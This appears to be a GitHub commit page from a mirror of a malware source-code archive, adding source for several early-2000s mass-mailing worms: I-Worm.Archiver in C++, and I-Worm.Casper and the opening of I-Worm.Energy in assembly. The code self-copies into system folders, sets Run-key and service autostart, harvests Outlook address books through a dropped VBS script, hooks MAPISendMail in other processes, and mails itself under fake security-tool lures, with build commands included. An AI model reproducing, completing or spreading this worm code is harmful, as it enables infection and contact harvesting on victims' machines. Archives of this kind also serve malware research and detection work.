mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 07:19:23 +00:00
Add files via upload
This commit is contained in:
vxunderground
GitHub
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,227 @@
|
||||
/*
|
||||
Name : I-Worm.Archiver
|
||||
Author : PetiK
|
||||
Date : Mai 10th 2002 -
|
||||
Language : C++
|
||||
|
||||
Comments : Infect ZIP files which run with WINZIP.
|
||||
|
||||
We can also to do the same think with PowerArchiver:
|
||||
powerarc -a -c4 archive.zip virus.exe
|
||||
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <mapi.h>
|
||||
|
||||
#pragma argused
|
||||
#pragma inline
|
||||
|
||||
|
||||
char filen[100],copyn[100],copyreg[100],windir[100],sysdir[100],inzip[256],fsubj[50];
|
||||
char *fnam[]={"news","support","info","newsletter","webmaster"};
|
||||
char *fmel[]={"@yahoo.com","@hotmail.com","@symantec.com","@microsoft.com","@avp.ch","@viruslist.com"};
|
||||
LPSTR run="Software\\Microsoft\\Windows\\CurrentVersion\\Run",
|
||||
SHFolder=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";
|
||||
char attname[]="news_xxxxxxxx.exe";
|
||||
LPTSTR cmdLine,ptr;
|
||||
BOOL installed;
|
||||
BYTE desktop[50],favoris[50],personal[50],winzip[50];
|
||||
DWORD sizdesktop=sizeof(desktop),sizfavoris=sizeof(favoris),
|
||||
sizpersonal=sizeof(personal),sizwinzip=sizeof(winzip);
|
||||
DWORD type=REG_SZ;
|
||||
long i;
|
||||
|
||||
LHANDLE session;
|
||||
MapiMessage *mes;
|
||||
MapiRecipDesc from;
|
||||
char messId[512],mname[50],maddr[30];
|
||||
HINSTANCE hMAPI;
|
||||
|
||||
HKEY hReg;
|
||||
WIN32_FIND_DATA ffile;
|
||||
|
||||
void infzip(char *);
|
||||
|
||||
ULONG (PASCAL FAR *mSendMail)(ULONG, ULONG, MapiMessage*, FLAGS, ULONG);
|
||||
ULONG (PASCAL FAR *mLogoff)(LHANDLE, ULONG, FLAGS, ULONG);
|
||||
ULONG (PASCAL FAR *mLogon)(ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPLHANDLE);
|
||||
ULONG (PASCAL FAR *mFindNext)(LHANDLE, ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPTSTR);
|
||||
ULONG (PASCAL FAR *mReadMail)(LHANDLE, ULONG, LPTSTR, FLAGS, ULONG, lpMapiMessage FAR *);
|
||||
ULONG (PASCAL FAR *mFreeBuffer)(LPVOID);
|
||||
|
||||
int WINAPI WinMain (HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow)
|
||||
{
|
||||
|
||||
GetModuleFileName(hInst,filen,100);
|
||||
GetSystemDirectory((char *)sysdir,100);
|
||||
GetWindowsDirectory((char *)copyn,100);
|
||||
strcpy(windir,copyn);
|
||||
strcat(copyn,"\\Archiver.exe");
|
||||
|
||||
installed=FALSE;
|
||||
cmdLine=GetCommandLine();
|
||||
if(cmdLine) {
|
||||
for(ptr=cmdLine;ptr[0]!='-' && ptr[1]!=0;ptr++);
|
||||
if(ptr[0]=='-' && ptr[1]!=0) {
|
||||
switch(ptr[1]) {
|
||||
default:
|
||||
break;
|
||||
case 'i':
|
||||
installed=TRUE;
|
||||
break;
|
||||
case 'p':
|
||||
ShellAbout(0,"I-Worm.Archiver","Copyright (c)2002 - PetiKVX",0);
|
||||
MessageBox(NULL,"This new Worm was coded by PetiK.\nFrance - (c)2002",
|
||||
"I-Worm.Archiver",MB_OK|MB_ICONINFORMATION);
|
||||
ExitProcess(0);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if(!installed) {
|
||||
CopyFile(filen,copyn,FALSE);
|
||||
strcpy(copyreg,copyn);
|
||||
strcat(copyreg," -i");
|
||||
/* RegOpenKeyEx(HKEY_LOCAL_MACHINE,run,0,KEY_WRITE,&hReg);
|
||||
RegSetValueEx(hReg,"Archiver",0,REG_SZ,(BYTE *)copyreg,100);
|
||||
RegCloseKey(hReg); */
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
RegOpenKeyEx(HKEY_USERS,SHFolder,0,KEY_QUERY_VALUE,&hReg);
|
||||
RegQueryValueEx(hReg,"Desktop",0,&type,desktop,&sizdesktop);
|
||||
RegQueryValueEx(hReg,"Favorites",0,&type,favoris,&sizfavoris);
|
||||
RegQueryValueEx(hReg,"Personal",0,&type,personal,&sizpersonal);
|
||||
RegCloseKey(hReg);
|
||||
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\windows\\CurrentVersion\\App Paths\\winzip32.exe",0,KEY_QUERY_VALUE,&hReg);
|
||||
RegQueryValueEx(hReg,NULL,0,&type,winzip,&sizwinzip);
|
||||
RegCloseKey(hReg);
|
||||
|
||||
if(strlen(winzip)!=0) {
|
||||
infzip(windir);
|
||||
infzip(sysdir);
|
||||
infzip(desktop);
|
||||
infzip(personal);
|
||||
infzip(favoris);
|
||||
infzip("C:\\");
|
||||
}
|
||||
|
||||
/*
|
||||
_asm
|
||||
{
|
||||
call @wininet
|
||||
db "WININET.DLL",0
|
||||
@wininet:
|
||||
call LoadLibrary
|
||||
test eax,eax
|
||||
jz end_asm
|
||||
mov ebp,eax
|
||||
call @inetconnect
|
||||
db "InternetGetConnectedState",0
|
||||
@inetconnect:
|
||||
push ebp
|
||||
call GetProcAddress
|
||||
test eax,eax
|
||||
jz end_wininet
|
||||
mov edi,eax
|
||||
verf:
|
||||
push 0
|
||||
push Tmp
|
||||
call edi
|
||||
dec eax
|
||||
jnz verf
|
||||
|
||||
end_wininet:
|
||||
push ebp
|
||||
call FreeLibrary
|
||||
end_asm:
|
||||
jmp end_all_asm
|
||||
|
||||
Tmp dd 0
|
||||
|
||||
end_all_asm:
|
||||
}
|
||||
|
||||
|
||||
hMAPI=LoadLibrary("MAPI32.DLL");
|
||||
(FARPROC &)mSendMail=GetProcAddress(hMAPI, "MAPISendMail");
|
||||
(FARPROC &)mLogon=GetProcAddress(hMAPI, "MAPILogon");
|
||||
(FARPROC &)mLogoff=GetProcAddress(hMAPI, "MAPILogoff");
|
||||
(FARPROC &)mFindNext=GetProcAddress(hMAPI, "MAPIFindNext");
|
||||
(FARPROC &)mReadMail=GetProcAddress(hMAPI, "MAPIReadMail");
|
||||
(FARPROC &)mFreeBuffer=GetProcAddress(hMAPI, "MAPIFreeBuffer");
|
||||
mLogon(NULL,NULL,NULL,MAPI_NEW_SESSION,NULL,&session);
|
||||
if(mFindNext(session,0,NULL,NULL,MAPI_LONG_MSGID,NULL,messId)==SUCCESS_SUCCESS) {
|
||||
do {
|
||||
if(mReadMail(session,NULL,messId,MAPI_ENVELOPE_ONLY|MAPI_PEEK,NULL,&mes)==SUCCESS_SUCCESS) {
|
||||
strcpy(mname,mes->lpOriginator->lpszName);
|
||||
strcpy(maddr,mes->lpOriginator->lpszAddress);
|
||||
|
||||
for(i=0;i<8;i++)
|
||||
attname[i+5]='1'+(char)(9*rand()/RAND_MAX);
|
||||
fsubj[0]=0;
|
||||
wsprintf(fsubj,"News from %s%s",fnam[GetTickCount()%4],fmel[GetTickCount()%5]);
|
||||
|
||||
|
||||
mes->ulReserved=0;
|
||||
mes->lpszSubject=fsubj;
|
||||
mes->lpszNoteText="This is some news send by our firm about security.\n"
|
||||
"Please read by clicking on attached file.\n"
|
||||
"\tBest Regards";
|
||||
mes->lpszMessageType=NULL;
|
||||
mes->lpszDateReceived=NULL;
|
||||
mes->lpszConversationID=NULL;
|
||||
mes->flFlags=MAPI_SENT;
|
||||
mes->lpOriginator->ulReserved=0;
|
||||
mes->lpOriginator->ulRecipClass=MAPI_ORIG;
|
||||
mes->lpOriginator->lpszName=mes->lpRecips->lpszName;
|
||||
mes->lpOriginator->lpszAddress=mes->lpRecips->lpszAddress;
|
||||
mes->nRecipCount=1;
|
||||
mes->lpRecips->ulReserved=0;
|
||||
mes->lpRecips->ulRecipClass=MAPI_TO;
|
||||
mes->lpRecips->lpszName=mname;
|
||||
mes->lpRecips->lpszAddress=maddr;
|
||||
mes->nFileCount=1;
|
||||
mes->lpFiles=(MapiFileDesc *)malloc(sizeof(MapiFileDesc));
|
||||
memset(mes->lpFiles, 0, sizeof(MapiFileDesc));
|
||||
mes->lpFiles->ulReserved=0;
|
||||
mes->lpFiles->flFlags=NULL;
|
||||
mes->lpFiles->nPosition=-1;
|
||||
mes->lpFiles->lpszPathName=filen;
|
||||
mes->lpFiles->lpszFileName=attname;
|
||||
mes->lpFiles->lpFileType=NULL;
|
||||
mSendMail(session, NULL, mes, NULL, NULL);
|
||||
}
|
||||
}while(mFindNext(session,0,NULL,messId,MAPI_LONG_MSGID,NULL,messId)==SUCCESS_SUCCESS);
|
||||
free(mes->lpFiles);
|
||||
mFreeBuffer(mes);
|
||||
mLogoff(session,0,0,0);
|
||||
FreeLibrary(hMAPI);
|
||||
}
|
||||
|
||||
*/
|
||||
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
void infzip(char *folder)
|
||||
{
|
||||
register bool abc=TRUE;
|
||||
register HANDLE fh;
|
||||
if(strlen(folder)!=0) {
|
||||
SetCurrentDirectory(folder);
|
||||
fh=FindFirstFile("*.zip",&ffile);
|
||||
if(fh!=INVALID_HANDLE_VALUE) {
|
||||
while(abc) {
|
||||
inzip[0]=0;
|
||||
wsprintf(inzip,"%s -a -r %s %s",winzip,ffile.cFileName,copyn);
|
||||
WinExec(inzip,1);
|
||||
abc=FindNextFile(fh,&ffile);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,510 @@
|
||||
;--- dllz.def
|
||||
IMPORTS
|
||||
|
||||
WININET.InternetGetConnectedState
|
||||
SHLWAPI.SHSetValueA
|
||||
;---
|
||||
|
||||
|
||||
comment #
|
||||
Name : I-Worm.Casper
|
||||
Author : PetiK
|
||||
Date : August 17th - August 24th
|
||||
Size : 6144 byte (compressed with UPX tool)
|
||||
|
||||
Action : Copy itself to
|
||||
* WINDOWS\MsWinsock32.exe
|
||||
Add in the key HKLM\Software\Microsoft\Windows\CurrentVersion\Run the value
|
||||
* Winsock32 1.0 = WINDOWS\MsWinsock32.exe
|
||||
|
||||
|
||||
To build the worm:
|
||||
tasm32 /ml /m9 Casper
|
||||
tlink32 -Tpe -c -x -aa Casper,,,import32,dllz
|
||||
upx -9 Casper.exe
|
||||
|
||||
To delete the worm:
|
||||
del %windir%\MsWinsock32.exe
|
||||
del %windir%\CasperEMail.txt
|
||||
|
||||
dllz.def file:
|
||||
IMPORTS
|
||||
|
||||
WININET.InternetGetConnectedState
|
||||
SHLWAPI.SHSetValueA
|
||||
|
||||
|
||||
#
|
||||
|
||||
.586p
|
||||
.model flat
|
||||
.code
|
||||
|
||||
JUMPS
|
||||
|
||||
callx macro a
|
||||
extrn a:proc
|
||||
call a
|
||||
endm
|
||||
|
||||
include useful.inc
|
||||
|
||||
DEBUT:
|
||||
Main_Worm:
|
||||
|
||||
call Hide_Worm
|
||||
call Copy_Worm
|
||||
call Check_Wsock
|
||||
call Prepare_Spread_Worm
|
||||
|
||||
Connected_:
|
||||
push 00h
|
||||
push offset Tmp
|
||||
callx InternetGetConnectedState
|
||||
dec eax
|
||||
jnz Connected_
|
||||
|
||||
mov edi,offset casper_mail
|
||||
push edi
|
||||
push 50
|
||||
push edi
|
||||
callx GetWindowsDirectoryA
|
||||
add edi,eax
|
||||
mov eax,"saC\"
|
||||
stosd
|
||||
mov eax,"Erep"
|
||||
stosd
|
||||
mov eax,"liaM"
|
||||
stosd
|
||||
mov eax,"txt."
|
||||
stosd
|
||||
xor eax,eax
|
||||
stosd
|
||||
|
||||
call Spread_Worm
|
||||
|
||||
Hide_Worm proc
|
||||
pushad
|
||||
@pushsz "Kernel32.dll"
|
||||
callx GetModuleHandleA
|
||||
xchg eax,ecx
|
||||
jecxz End_Hide
|
||||
@pushsz "RegisterServiceProcess"
|
||||
push ecx
|
||||
callx GetProcAddress
|
||||
xchg eax,ecx
|
||||
jecxz End_Hide
|
||||
push 1
|
||||
push 0
|
||||
call ecx
|
||||
End_Hide:
|
||||
popad
|
||||
ret
|
||||
Hide_Worm endp
|
||||
|
||||
Check_Wsock proc
|
||||
Search_Wsock:
|
||||
push 50
|
||||
mov edi,offset wsock_file
|
||||
push edi
|
||||
callx GetSystemDirectoryA
|
||||
add edi,eax
|
||||
mov eax,"osW\"
|
||||
stosd
|
||||
mov eax,"23kc"
|
||||
stosd
|
||||
mov eax,"lld."
|
||||
stosd
|
||||
xor eax,eax
|
||||
stosd
|
||||
|
||||
push offset wsock_file
|
||||
callx GetFileAttributesA
|
||||
cmp eax,20h
|
||||
jne End_Wsock
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push 03h
|
||||
push eax
|
||||
push eax
|
||||
push 80000000h or 40000000h
|
||||
push offset wsock_file
|
||||
callx CreateFileA
|
||||
mov wsckhdl,eax
|
||||
|
||||
File_Mapping:
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 04h
|
||||
push eax
|
||||
push wsckhdl
|
||||
callx CreateFileMappingA
|
||||
test eax,eax
|
||||
jz Close_File
|
||||
mov wsckmap,eax
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 06h
|
||||
push wsckmap
|
||||
callx MapViewOfFile
|
||||
test eax,eax
|
||||
jz Close_Map_File
|
||||
mov esi,eax
|
||||
mov wsckview,eax
|
||||
|
||||
Old_Infect:
|
||||
mov verif,0
|
||||
cmp word ptr [esi],"ZM"
|
||||
jne UnmapView_File
|
||||
cmp byte ptr [esi+12h],"z"
|
||||
je Infected_By_Happy
|
||||
cmp word ptr [esi+38h],"ll"
|
||||
je Infected_By_Icecubes
|
||||
jmp UnmapView_File
|
||||
|
||||
Infected_By_Happy:
|
||||
push 10h
|
||||
push offset warning
|
||||
@pushsz "I-Worm.Happy coded by Spanska"
|
||||
push 00h
|
||||
callx MessageBoxA
|
||||
inc verif
|
||||
jmp UnmapViewOfFile
|
||||
Infected_By_Icecubes:
|
||||
push 10h
|
||||
push offset warning
|
||||
@pushsz "I-Worm.Icecubes coded by f0re"
|
||||
push 00h
|
||||
callx MessageBoxA
|
||||
inc verif
|
||||
jmp UnmapViewOfFile
|
||||
Already_Infected:
|
||||
inc verif
|
||||
jmp UnmapViewOfFile
|
||||
|
||||
UnmapView_File:
|
||||
push wsckview
|
||||
callx UnmapViewOfFile
|
||||
Close_Map_File:
|
||||
push offset wsckmap
|
||||
callx CloseHandle
|
||||
Close_File:
|
||||
push wsckhdl
|
||||
callx CloseHandle
|
||||
End_Wsock:
|
||||
ret
|
||||
Check_Wsock endp
|
||||
|
||||
Copy_Worm proc
|
||||
pushad
|
||||
Original_Name:
|
||||
push 50
|
||||
mov esi,offset original
|
||||
push esi
|
||||
push 0
|
||||
callx GetModuleFileNameA
|
||||
|
||||
Copy_Name:
|
||||
mov edi,offset copy_name
|
||||
push edi
|
||||
push 50
|
||||
push edi
|
||||
callx GetWindowsDirectoryA
|
||||
add edi,eax
|
||||
mov eax,'WsM\'
|
||||
stosd
|
||||
mov eax,'osni'
|
||||
stosd
|
||||
mov eax,'23kc'
|
||||
stosd
|
||||
mov eax,'exe.'
|
||||
stosd
|
||||
pop edi
|
||||
push 0
|
||||
push edi
|
||||
push esi
|
||||
callx CopyFileA
|
||||
|
||||
Reg_Registered:
|
||||
push 08h
|
||||
push edi
|
||||
push 01h
|
||||
@pushsz "Winsock32"
|
||||
@pushsz "Software\Microsoft\Windows\CurrentVersion\Run"
|
||||
push 80000002h
|
||||
callx SHSetValueA
|
||||
push 08h
|
||||
@pushsz "PetiK - France - (c)2001"
|
||||
push 01h
|
||||
@pushsz "Author"
|
||||
@pushsz "Software\CasperWorm"
|
||||
push 80000001h
|
||||
callx SHSetValueA
|
||||
push 08h
|
||||
@pushsz "1.00"
|
||||
push 01h
|
||||
@pushsz "Version"
|
||||
@pushsz "Software\CasperWorm"
|
||||
push 80000001h
|
||||
callx SHSetValueA
|
||||
popad
|
||||
ret
|
||||
Copy_Worm endp
|
||||
|
||||
|
||||
Prepare_Spread_Worm proc
|
||||
pushad
|
||||
push 00h
|
||||
push 80h
|
||||
push 02h
|
||||
push 00h
|
||||
push 01h
|
||||
push 40000000h
|
||||
@pushsz "C:\CasperMail.vbs"
|
||||
callx CreateFileA
|
||||
xchg edi,eax
|
||||
push 00h
|
||||
push offset octets
|
||||
push VBSSIZE
|
||||
push offset vbsd
|
||||
push edi
|
||||
callx WriteFile
|
||||
push edi
|
||||
callx CloseHandle
|
||||
push 1
|
||||
@pushsz "wscript C:\CasperMail.vbs"
|
||||
callx WinExec
|
||||
push 3 * 1000
|
||||
callx Sleep
|
||||
@pushsz "C:\CasperMail.vbs"
|
||||
callx DeleteFileA
|
||||
popad
|
||||
ret
|
||||
Prepare_Spread_Worm endp
|
||||
|
||||
Spread_Worm:
|
||||
pushad
|
||||
push 00h
|
||||
push 80h
|
||||
push 03h
|
||||
push 00h
|
||||
push 01h
|
||||
push 80000000h
|
||||
push offset casper_mail
|
||||
callx CreateFileA
|
||||
inc eax
|
||||
test eax,eax
|
||||
je End_Spread_worm
|
||||
dec eax
|
||||
xchg eax,ebx
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 02h
|
||||
push eax
|
||||
push ebx
|
||||
callx CreateFileMappingA
|
||||
test eax,eax
|
||||
je F1
|
||||
xchg eax,ebp
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 04h
|
||||
push ebp
|
||||
callx MapViewOfFile
|
||||
test eax,eax
|
||||
je F2
|
||||
xchg eax,esi
|
||||
|
||||
push 00h
|
||||
push ebx
|
||||
callx GetFileSize
|
||||
cmp eax,03h
|
||||
jbe F3
|
||||
|
||||
call Scan_Mail
|
||||
|
||||
F3: push esi
|
||||
callx UnmapViewOfFile
|
||||
F2: push ebp
|
||||
callx CloseHandle
|
||||
F1: push ebx
|
||||
callx CloseHandle
|
||||
End_Spread_worm:
|
||||
popad
|
||||
ret
|
||||
|
||||
Scan_Mail:
|
||||
pushad
|
||||
xor edx,edx
|
||||
mov edi,offset m_addr
|
||||
push edi
|
||||
p_c: lodsb
|
||||
cmp al," "
|
||||
je car_s
|
||||
cmp al,0dh
|
||||
je entr1
|
||||
cmp al,0ah
|
||||
je entr2
|
||||
cmp al,"#"
|
||||
je f_mail
|
||||
cmp al,"@"
|
||||
je not_a
|
||||
inc edx
|
||||
not_a: stosb
|
||||
jmp p_c
|
||||
car_s: inc esi
|
||||
jmp p_c
|
||||
entr1: xor al,al
|
||||
stosb
|
||||
pop edi
|
||||
test edx,edx
|
||||
je Scan_Mail
|
||||
call Send_Mail
|
||||
jmp Scan_Mail
|
||||
entr2: xor al,al
|
||||
stosb
|
||||
pop edi
|
||||
jmp Scan_Mail
|
||||
f_mail:
|
||||
FIN: push 00h
|
||||
callx ExitProcess
|
||||
|
||||
Send_Mail:
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push offset Message
|
||||
push [MAPIHdl]
|
||||
callx MAPISendMail
|
||||
ret
|
||||
|
||||
|
||||
.data
|
||||
; ===== Main_Worm =====
|
||||
wsock_file db 50 dup (0)
|
||||
|
||||
; ===== Check_Wsock =====
|
||||
wsckhdl dd 0
|
||||
wsckmap dd 0
|
||||
wsckview dd 0
|
||||
PEHeader dd 0
|
||||
warning db "Warning : You're infected by",00h
|
||||
verif dd ?
|
||||
|
||||
; ===== Copy_Worm =====
|
||||
original db 50 dup (0)
|
||||
copy_name db 50 dup (0)
|
||||
|
||||
; ===== Prepare_Spread_Worm =====
|
||||
octets dd ?
|
||||
|
||||
; ===== Spread_Worm =====
|
||||
m_addr db 128 dup (?)
|
||||
casper_mail db 50 dup (0)
|
||||
mail_name db "Casper_Tool.exe",00h
|
||||
MAPIHdl dd 0
|
||||
Tmp dd 0
|
||||
|
||||
subject db "Casper Tool Protect 1.00",00h
|
||||
body db "Hi,",0dh,0ah
|
||||
db "Look at this attachment...",0dh,0ah
|
||||
db "This freeware alert you if you infected by "
|
||||
db "I-Worm.Happy and I-Worm.Icecubes.",0dh,0ah
|
||||
db "These worms spread with the file WSOCK32.DLL in the SYSTEM path.",0dh,0ah
|
||||
db "The tool Casper v.1.00 scans this specific file and displays a message "
|
||||
db "if it infected.",0dh,0ah,0dh,0ah,0dh,0ah
|
||||
db 09h,09h,09h,"Good Bye and have a nice day",00h
|
||||
|
||||
Message dd ?
|
||||
dd offset subject
|
||||
dd offset body
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd 2
|
||||
dd offset MsgFrom
|
||||
dd 1
|
||||
dd offset MsgTo
|
||||
dd 1
|
||||
dd offset Attach
|
||||
|
||||
MsgFrom dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
MsgTo dd ?
|
||||
dd 1
|
||||
dd offset m_addr
|
||||
dd offset m_addr
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
Attach dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd offset original
|
||||
dd offset mail_name
|
||||
dd ?
|
||||
|
||||
vbsd:
|
||||
db 'On Error Resume Next',0dh,0ah
|
||||
db 'Set Casper = CreateObject("Outlook.Application")',0dh,0ah
|
||||
db 'Set L = Casper.GetNameSpace("MAPI")',0dh,0ah
|
||||
db 'Set fs=CreateObject("Scripting.FileSystemObject")',0dh,0ah
|
||||
db 'Set c=fs.CreateTextFile(fs.GetSpecialFolder(0)&"\CasperEMail.txt")',0dh,0ah
|
||||
db 'c.Close',0dh,0ah
|
||||
db 'For Each M In L.AddressLists',0dh,0ah
|
||||
db 'If M.AddressEntries.Count <> 0 Then',0dh,0ah
|
||||
db 'For O = 1 To M.AddressEntries.Count',0dh,0ah
|
||||
db 'Set P = M.AddressEntries(O)',0dh,0ah
|
||||
db 'Set c=fs.OpenTextFile(fs.GetSpecialFolder(0)&"\CasperEMail.txt",8,true)',0dh,0ah
|
||||
db 'c.WriteLine P.Address',0dh,0ah
|
||||
db 'c.Close',0dh,0ah
|
||||
db 'Next',0dh,0ah
|
||||
db 'End If',0dh,0ah
|
||||
db 'Next',0dh,0ah
|
||||
db 'Set c=fs.OpenTextFile(fs.GetSpecialFolder(0)&"\CasperEMail.txt",8,true)',0dh,0ah
|
||||
db 'c.WriteLine "#"',0dh,0ah
|
||||
db 'c.Close',0dh,0ah
|
||||
VBSSIZE = $-vbsd
|
||||
|
||||
MAX_PATH equ 260
|
||||
FILETIME struct
|
||||
dwLowDateTime dd ?
|
||||
dwHighDateTime dd ?
|
||||
FILETIME ends
|
||||
WIN32_FIND_DATA struct
|
||||
dwFileAttributes dd ?
|
||||
ftCreationTime FILETIME ?
|
||||
ftLastAccessTime FILETIME ?
|
||||
ftLastWriteTime FILETIME ?
|
||||
nFileSizeHigh dd ?
|
||||
nFileSizeLow dd ?
|
||||
dwReserved0 dd ?
|
||||
dwReserved1 dd ?
|
||||
cFileName dd MAX_PATH (?)
|
||||
cAlternateFileName db 13 dup (?)
|
||||
db 3 dup (?)
|
||||
WIN32_FIND_DATA ends
|
||||
|
||||
Search WIN32_FIND_DATA <>
|
||||
|
||||
end DEBUT
|
||||
end
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,727 @@
|
||||
|
||||
COMMENT #
|
||||
|
||||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
³ I-Worm.Energy ³
|
||||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
³ by Benny/29A ³
|
||||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
|
||||
hey all...
|
||||
ÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
it was one b0ring sunday, when I decided to code some small and kewl virus...
|
||||
I was tired from coding large projectz (HIV, XTC)... I wanted to code one
|
||||
worm with some nice ideaz, like the Win2k.Stream.
|
||||
|
||||
and here it is. after some meditationz, full of experiencez from psychedelics
|
||||
I decided to call this worm "Energy"... it is very small worm, spreading via
|
||||
RAR filez. it can parse all processes, hook there MAPISendMail API procedure
|
||||
and infect all attached RAR filez in a message by dropping itself to there.
|
||||
very similar technique of the process'es address space manipulationz is
|
||||
described in my article "Multi-process residency" and Win32.HIV virus. surely
|
||||
it can't work on Win95/98 systemz. it worx on Windows 2000 OS, and (perhaps)
|
||||
also on earlier versionz of Windows NT - but I don't know, I haven't tested it.
|
||||
|
||||
it can stay resident in memory as a service, by standard API callz, valid only
|
||||
in NT systemz. while infecting the RAR archivez it addz itself to there under
|
||||
the "SETUP.EXE" filename, containing also the standard setup icon. I tried to
|
||||
optimize the source a bit... I know the worm is not super-small, but I it is
|
||||
resident heavilly armoured very effective tiny mail-spreading worm.
|
||||
|
||||
|
||||
the scheme of execution:
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
after execution:
|
||||
- anti-* stuff
|
||||
- if initialized by SCM, run as a service process
|
||||
- copy worm to system directory as "ENERGY.EXE"
|
||||
- register worm as service process and run it everytime the OS will start
|
||||
- enum processes, find MAPI32.dll there and hook MAPSendMail (using many
|
||||
trics)
|
||||
- wait one minute and again
|
||||
|
||||
hook_procedure:
|
||||
- parse embedded filez and search for RAR filez.
|
||||
- infect them by worm file: SETUP.EXE, mark as read-only (already-infected
|
||||
mark).
|
||||
|
||||
|
||||
the worm is encrypted/compressed by "tElock, version 0.51", one very nice
|
||||
utility for armouring executable filez. this protector containz many nice
|
||||
anti-* featurez. that's why I decided to use it. and also becoz I think guyz at
|
||||
AVP can't handle this one.
|
||||
|
||||
it is possible that worm containz some bugz. yeah, but I don't care... I'm glad
|
||||
I was able to finish it in 2 dayz and that it was not b0ring. I had a fun.
|
||||
|
||||
|
||||
|
||||
If you would like to consult anything with me, feel free to contact me...
|
||||
|
||||
|
||||
|
||||
(c) 14th November 2000 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
Czech Republic ³ Benny / 29A ÀÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
@ benny_29a@privacyx.com ³
|
||||
@ http://benny29a.cjb.net ³
|
||||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
#
|
||||
|
||||
|
||||
.586p
|
||||
.model flat ;blablabla
|
||||
|
||||
extrn GetLastError:PROC ;needed APIz
|
||||
extrn EnumProcesses:PROC
|
||||
extrn OpenProcess:PROC
|
||||
extrn VirtualProtect:PROC
|
||||
extrn VirtualAllocEx:PROC
|
||||
extrn VirtualFreeEx:PROC
|
||||
extrn CloseHandle:PROC
|
||||
extrn CreateRemoteThread:PROC
|
||||
extrn WriteProcessMemory:PROC
|
||||
extrn Sleep:PROC
|
||||
extrn WaitForSingleObject:PROC
|
||||
extrn GetModuleHandleA:PROC
|
||||
extrn GetProcAddress:PROC
|
||||
extrn CreateFileA:PROC
|
||||
extrn WriteFile:PROC
|
||||
extrn GetModuleFileNameA:PROC
|
||||
extrn GetFileSize:PROC
|
||||
extrn ReadFile:PROC
|
||||
extrn VirtualFree:PROC
|
||||
extrn VirtualAlloc:PROC
|
||||
extrn SetFilePointer:PROC
|
||||
extrn SetFileAttributesA:PROC
|
||||
extrn OpenMutexA:PROC
|
||||
extrn ExitThread:PROC
|
||||
extrn GetSystemDirectoryA:PROC
|
||||
extrn CopyFileA:PROC
|
||||
|
||||
|
||||
;extrn OpenServiceA:PROC
|
||||
;extrn DeleteService:PROC ;***debug only!
|
||||
extrn OpenSCManagerA:PROC
|
||||
extrn CreateServiceA:PROC
|
||||
extrn CloseServiceHandle:PROC
|
||||
extrn StartServiceCtrlDispatcherA:PROC
|
||||
extrn RegisterServiceCtrlHandlerA:PROC
|
||||
extrn SetServiceStatus:PROC
|
||||
|
||||
|
||||
include useful.inc ;include filez
|
||||
include win32api.inc
|
||||
|
||||
|
||||
PROC_COUNT equ 40*4 ;number of processes
|
||||
|
||||
|
||||
.data
|
||||
db ? ;some data
|
||||
|
||||
.code
|
||||
Start: ;worm code starts here
|
||||
pushad
|
||||
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
|
||||
|
||||
e_name: @pushsz 'EnErGy'
|
||||
push 0
|
||||
push 1
|
||||
call OpenMutexA ;check if mutex is
|
||||
test eax,eax ;created, if not,
|
||||
je end_seh ;we are prob. debugged
|
||||
push eax
|
||||
call CloseHandle ;close its handle
|
||||
|
||||
jmp SVCRegister ;logging as a service
|
||||
|
||||
e_svc: push 256
|
||||
mov esi, offset worm_name
|
||||
push esi
|
||||
push 0
|
||||
call GetModuleFileNameA ;get path+filename of
|
||||
;the worm
|
||||
mov edi,offset sys_dir
|
||||
push edi
|
||||
push 256
|
||||
push edi
|
||||
call GetSystemDirectoryA ;get windowz system dir.
|
||||
add edi,eax
|
||||
mov al,'\'
|
||||
stosb
|
||||
mov eax,'rene'
|
||||
stosd
|
||||
mov eax,'e.yg'
|
||||
stosd
